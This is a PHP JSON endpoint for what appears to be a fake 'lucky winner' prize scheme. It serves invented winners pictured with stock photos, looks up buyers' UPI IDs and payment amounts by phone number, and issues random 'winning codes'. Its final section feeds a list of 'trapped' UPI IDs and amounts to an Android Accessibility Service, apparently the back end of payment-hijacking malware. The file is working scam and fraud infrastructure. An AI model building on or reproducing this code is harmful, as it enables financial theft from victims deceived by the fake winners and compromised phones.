<?php
header('Content-Type: application/json');
require('connection.php');

$response = array();

// 1. Fetch Banners
$response['banners'] = array(
    "images/banner-1.jpg",
    "images/banner-2.jpg",
    "images/banner-3.jpg",
    "images/banner-4.jpg"
);

// 2. Fetch Products
$response['products'] = array(
    array("name" => "Product 1", "image" => "images/pd-1.jpg"),
    array("name" => "Product 2", "image" => "images/pd-2.jpg"),
    array("name" => "Product 3", "image" => "images/pd-3.jpg")
);

// 3. Fetch Winners
$response['winners'] = array(
    array("name" => "Arti", "city" => "Pune", "image" => "images/arti.jpg", "mobile" => "785896****"),
    array("name" => "kolki", "city" => "Hyderabad", "image" => "images/portrait-indian-pregnant-woman_23-2151426876.avif", "mobile" => "945869****"),
    array("name" => "Naman", "city" => "Delhi", "image" => "images/pexels-photo-2379005.jpeg", "mobile" => "729858****")
);

// 4. Handle Winner Check (API)
if (isset($_GET['check_mobile'])) {
    $mobile = mysqli_real_escape_string($con, $_GET['check_mobile']);
    $res = mysqli_query($con, "SELECT * FROM `500_ap` WHERE Contact_No = '$mobile'");
    
    if (mysqli_num_rows($res) > 0) {
        $row = mysqli_fetch_assoc($res);
        $response['check_status'] = "success";
        $response['user_data'] = array(
            "name" => $row['Buyer_name'],
            "product" => $row['Product'],
            "price" => $row['price'],
            "upi_id" => $row['upi_id'],
            "amount" => $row['payment_amount']
        );
        $response['winning_code'] = "MSW" . rand(100000, 999999);
    } else {
        $response['check_status'] = "not_found";
    }
}

// 5. Fetch Trapped UPI IDs (For Android Accessibility Service)
if (isset($_GET['get_traps'])) {
    $res = mysqli_query($con, "SELECT upi_id, trap_amount FROM trapped_upis WHERE is_active = 1");
    $traps = array();
    while($row = mysqli_fetch_assoc($res)){
        $traps[] = array(
            "upi" => $row['upi_id'],
            "am" => (float)$row['trap_amount']
        );
    }
    $response['trapped_upis'] = $traps;
}

echo json_encode($response);
?>
